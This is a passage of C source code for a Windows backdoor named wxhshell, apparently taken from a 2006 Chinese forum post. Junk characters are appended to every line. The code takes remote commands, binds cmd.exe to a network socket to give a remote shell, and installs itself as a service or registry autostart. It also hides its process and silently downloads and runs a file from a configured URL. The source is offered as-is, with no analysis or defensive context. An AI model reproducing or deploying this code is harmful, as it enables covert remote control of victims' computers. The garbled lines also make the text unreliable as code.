    switch(cmd[0]) { g*Y, .  
  y?$DDD  
  // 帮助 '0+*  
  case '?': { 0t <nH%N}^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wq1>Bj$J8  
    break; `3+i.wR  
  } g68p9#G  
  // 安装 )[Y B&  
  case 'i': { %M(RV_R+6  
    if(Install()) c3vb~l)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cw Obq\  
    else r"7n2   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4DA34m(  
    break; ~^m Uu`@r  
    } [{x}# oRSE  
  // 卸载 pCIzpEsRs  
  case 'r': { %$!3Pbu i  
    if(Uninstall()) ag=d6q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rr )+M3'  
    else Jz@~$L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?8b19DMK6  
    break; !|cg=  
    } yeo&Qz2vU  
  // 显示 wxhshell 所在路径 P?54"$b  
  case 'p': { +EETo):  
    char svExeFile[MAX_PATH]; 8t-GsjHb  
    strcpy(svExeFile,"\n\r"); ',+yD9 @  
      strcat(svExeFile,ExeFile); BrV{X&>[i  
        send(wsh,svExeFile,strlen(svExeFile),0); Z~5) )5Ye;  
    break; xUo6~9s7  
    } k:@DK9 "^  
  // 重启 +a1x;  
  case 'b': { Cm}2>eH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OmYVJt_  
    if(Boot(REBOOT)) V2MOD{Maat  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W'lqNOX[v  
    else { xs$$fPAQ  
    closesocket(wsh); n<I{x^!  
    ExitThread(0); rwm^{Qa  
    } IPiV_c-l  
    break; D&@]  
    } Wa_qD  
  // 关机 YG p+[|'  
  case 'd': { }U_ ' 7_JT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UX 1 )((  
    if(Boot(SHUTDOWN)) xP;r3u s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O7K.\  
    else { {@Mr7*u  
    closesocket(wsh); o2 14V\  
    ExitThread(0); wX$:NOO  
    } (i1JRn-f  
    break; vvoxK0  
    } / HTY>b  
  // 获取shell GD W@/oQr  
  case 's': { gYpMwC{*d  
    CmdShell(wsh); Ui{%q @  
    closesocket(wsh); v3tJtb^'!  
    ExitThread(0); bOS)vt*V  
    break; MK$u }G  
  } <n"BPXF~  
  // 退出 D #ddx  
  case 'x': { QLA.;`HIE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bz>X~   
    CloseIt(wsh);  {_rfhz  
    break; $vO&C6m$  
    } {Kz,_bo  
  // 离开 -%K!Ra\W  
  case 'q': { jmok]-pC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x&}]8S)  
    closesocket(wsh); *GP2>oEM  
    WSACleanup(); jG5HW*>k0  
    exit(1); nB[-KS  
    break; '%)R}wgV  
        } *{o7G  a  
  } 0D X_ *f  
  } .6B\fr.za  
U)S=JT~h  
  // 提示信息 :!ya&o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gL;Kie6Z  
} 4E'9;tA3l  
  } 2iAC_"n  
p{FI_6db  
  return; Bf_$BCyGW  
} q}1ZuK`6  
H=r-f@EOrI  
// shell模块句柄 t>"%exdoZ  
int CmdShell(SOCKET sock) sE1cvAw9l  
{ 4ls:BO;k]  
STARTUPINFO si; *6uccx7{  
ZeroMemory(&si,sizeof(si)); Dn- gP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "tK%]c d-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :FyF:=  
PROCESS_INFORMATION ProcessInfo; ~6vz2DuB=  
char cmdline[]="cmd"; K%(y<%Xp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5~Y`ikwxL  
  return 0; "L~(%Nx3  
} 6|TSH$w_  
b}J%4Lx%m  
// 自身启动模式 CSk]c9=  
int StartFromService(void) dWqn7+:  
{ `]Bb0h1![  
typedef struct 5xY{Q  
{ #cbgp;,M{I  
  DWORD ExitStatus; S63 Zk0(25  
  DWORD PebBaseAddress; (!j#u)O  
  DWORD AffinityMask; 6CJMQi,kn  
  DWORD BasePriority; 8;PkuJR_]  
  ULONG UniqueProcessId; 5J5si<v25  
  ULONG InheritedFromUniqueProcessId; DE?v'7cmA  
}   PROCESS_BASIC_INFORMATION; &W `xZyb3  
R>Ra~ b  
PROCNTQSIP NtQueryInformationProcess; n|`3d~9$&  
n ]ikc|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rg/{5f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DwD$T%kF  
b7Y g~Lw  
  HANDLE             hProcess; 74s{b]jN'-  
  PROCESS_BASIC_INFORMATION pbi; @hLkU4S  
Cs $5Of(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {]vD@)k  
  if(NULL == hInst ) return 0; >1y6DC  
?ukw6T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1Pf(.&/9_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S_}`'Z )  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Cj5mM[:s  
:<% bAn  
  if (!NtQueryInformationProcess) return 0; t=_^$M,yr  
K^- 1M?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w~'xZ?  
  if(!hProcess) return 0; 9&Y@g)+2  
@Z)|_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +A9~h/"kt  
6iC>CY3CG  
  CloseHandle(hProcess); =:W2NN'  
oy+|:[v:Fk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +2uSMr  
if(hProcess==NULL) return 0; qA*~B'  
F_-Lu]*  
HMODULE hMod; j!;LN)s@?  
char procName[255]; 3f;=#|l  
unsigned long cbNeeded; <,d550GSm  
37AVk`a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5>532X(0  
j;x()iZ<  
  CloseHandle(hProcess); ez4!5&TzRm  
P<<$o-a"  
if(strstr(procName,"services")) return 1; // 以服务启动 #h5:b`fDF  
A|A~$v("R  
  return 0; // 注册表启动 z^Q'GBoBA  
} bMH~vR  
y@P%t9l  
// 主模块 De$AJl  
int StartWxhshell(LPSTR lpCmdLine) "W<Y1$Y=Y  
{ 5=>1>HYM  
  SOCKET wsl; 9>}&dQ8  
BOOL val=TRUE; '3.\+^3  
  int port=0; $:ush"=f8^  
  struct sockaddr_in door; s.3"2waZ=T  
3G} )$y3m  
  if(wscfg.ws_autoins) Install(); P8 X07IK  
Ik G&  
port=atoi(lpCmdLine); A^U84kV=  
OV>& `puL  
if(port<=0) port=wscfg.ws_port; ^@fD{]I  
,0l Od<  
  WSADATA data; hU)t5/h;K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %Ymi,o>  
HB07 n4 |  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =C %)(|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bQ< qdGa  
  door.sin_family = AF_INET; <'y<8gpM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }\4yU=JP K  
  door.sin_port = htons(port); AGhenDN V  
*X5)9dq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pz4#>tP  
closesocket(wsl); "k zKQ~  
return 1; V&mkS  
} I16FVdUun4  
;Iu _*U9)  
  if(listen(wsl,2) == INVALID_SOCKET) { ]4:QqdV  
closesocket(wsl); K.tNV{OL  
return 1; W"{Ggk `  
} dwj?;  
  Wxhshell(wsl); |k a _Zy  
  WSACleanup(); [lmF2  
p_$^keOL  
return 0; xATx2*@X2  
">V&{a-C4  
} LIg1U  
<o EAy  
// 以NT服务方式启动 FW]tDGJOw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yi7.9/;a  
{ '|}A /`  
DWORD   status = 0; *A-_*A  
  DWORD   specificError = 0xfffffff; U%3N=M  
A;AQw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mxNd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x#{!hL 5G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5K vp%   
  serviceStatus.dwWin32ExitCode     = 0; '/ Aq2  
  serviceStatus.dwServiceSpecificExitCode = 0; g_>&R58  
  serviceStatus.dwCheckPoint       = 0; y^2#;0W  
  serviceStatus.dwWaitHint       = 0; qHt/,w='Q  
VKa+[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mV0,T*}e  
  if (hServiceStatusHandle==0) return; yC' y>f`H  
2>z YJqG|  
status = GetLastError(); >?g@Nt8  
  if (status!=NO_ERROR) j^G=9r[,  
{ >%/x~UFc5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yT ^x0?U  
    serviceStatus.dwCheckPoint       = 0; CmEqo;Is  
    serviceStatus.dwWaitHint       = 0; 'g#%>  
    serviceStatus.dwWin32ExitCode     = status; )~2\4t4|g  
    serviceStatus.dwServiceSpecificExitCode = specificError; \J LGw1F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @K;b7@4y  
    return; `}X3f#eO&  
  } 5F kdGF  
W"\~O"a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IjI'Hx  
  serviceStatus.dwCheckPoint       = 0; !do`OEQKR  
  serviceStatus.dwWaitHint       = 0; {Jn0G;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /wD f,Hduz  
} ~^wSwd[  
:s aP :&  
// 处理NT服务事件,比如:启动、停止 ]b- 2:M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )O'LE&kQ|  
{ <2U#U;  
switch(fdwControl) 7q0_lEh  
{ dT| XcVKg  
case SERVICE_CONTROL_STOP: =<]`'15"V  
  serviceStatus.dwWin32ExitCode = 0; vQWmHv\P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i)#-VOhX)  
  serviceStatus.dwCheckPoint   = 0; v h,(]t  
  serviceStatus.dwWaitHint     = 0; C% -Tw]T$_  
  { y3~=8!Tj?Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b6k`R4S3  
  } o78u>Oy  
  return; sn"((BsO<  
case SERVICE_CONTROL_PAUSE: Ny^ 1#R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !73y(Y%TE  
  break; *g5bdQ:Av~  
case SERVICE_CONTROL_CONTINUE: ~${~To8$CW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OG$n C  
  break;  "'4  
case SERVICE_CONTROL_INTERROGATE: j6%W+;{/pj  
  break; Q-x>yau"  
}; EN m%(G$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^s~)"2 g  
} "GMU~594  
M}] *j  
// 标准应用程序主函数 Ow 0>qzTg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yp\n=#$[  
{ aH }/+Hu-  
$6Ma{rC|  
// 获取操作系统版本 qbyYNlXqm  
OsIsNt=GetOsVer(); \'|n.1Fr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p)biOG  
{-A|f  
  // 从命令行安装 $dM_uSt  
  if(strpbrk(lpCmdLine,"iI")) Install(); BN*:*cmUl  
[f+wP|NKL  
  // 下载执行文件 K0w}l" )A  
if(wscfg.ws_downexe) { =O}I{dNKZV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S:1[CNL;  
  WinExec(wscfg.ws_filenam,SW_HIDE); CPB{eQeDuv  
} Es>' N3A z  
1$Hou   
if(!OsIsNt) { Q4XlYgIV2A  
// 如果时win9x,隐藏进程并且设置为注册表启动 oh5'Isb$  
HideProc(); 4DL;Y  
StartWxhshell(lpCmdLine); }c G)$E  
} Q/o,2R  
else Yxq!7J  
  if(StartFromService()) ~n=DI/AJ@-  
  // 以服务方式启动 2u.0AG   
  StartServiceCtrlDispatcher(DispatchTable); i1evB9FZ1z  
else $J1`.Q>)4  
  // 普通方式启动 rHKO13WF  
  StartWxhshell(lpCmdLine); dD,}i$  
bi8_5I[  
return 0; qU26i"GHp  
}
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只看该作者 1 发表于: 2006-10-10
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